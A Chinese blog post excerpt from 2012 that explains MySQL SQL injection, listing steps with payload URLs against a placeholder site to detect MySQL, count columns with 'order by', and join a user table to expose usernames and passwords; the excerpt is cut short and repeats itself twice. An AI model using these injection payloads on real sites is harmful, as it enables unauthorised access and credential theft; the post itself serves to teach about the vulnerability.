MySQL中SQL的单字节注入与宽字节注入漏洞（gbk编码，addslashes）
[ 2012-07-03 13:34:52 | 作者: admin ]
一、单字节SQL注入
MYSQL的SQL注入已经由来已久，以下是普遍采用的注入步骤：
1、在GET参数上加一个/*或者#（mysql专有的注释），判断数据库是否是mysql，比如：
http://www.xxx.com.cn/article.php?id=1607 and 1=1/*
2、猜解某表的字段数，从order by 1一直更改到页面出错为止，就可以得到该表的字段数
注入URL：http://www.xxx.com.cn/article.php?id=1607 or 1=1 order by 10#
对应的SQL： select * from articles where id=1607 or 1=1 order by 10#….
3、使用该表和用户表进行关联查询，在文章列表里就可以看到用户名和密码了。当也要猜解用户表的表名和用户名、密码的字段名，比如上一步得到的字段数是5：
...
阅读全文…
MYSQL的SQL注入已经由来已久，以下是普遍采用的注入步骤：
1、在GET参数上加一个/*或者#（mysql专有的注释），判断数据库是否是mysql，比如：
http://www.xxx.com.cn/article.php?id=1607 and 1=1/*
2、猜解某表的字段数，从order by 1一直更改到页面出错为止，就可以得到该表的字段数
注入URL：http://www.xxx.com.cn/article.php?id=1607 or 1=1 order by 10#
对应的SQL： select * from articles where id=1607 or 1=1 order by 10#….
3、使用该表和用户表进行关联查询，在文章列表里就可以看到用户名和密码了。当也要猜解用户表的表名和用户名、密码的字段名，比如上一步得到的字段数是5：
...
阅读全文…
1
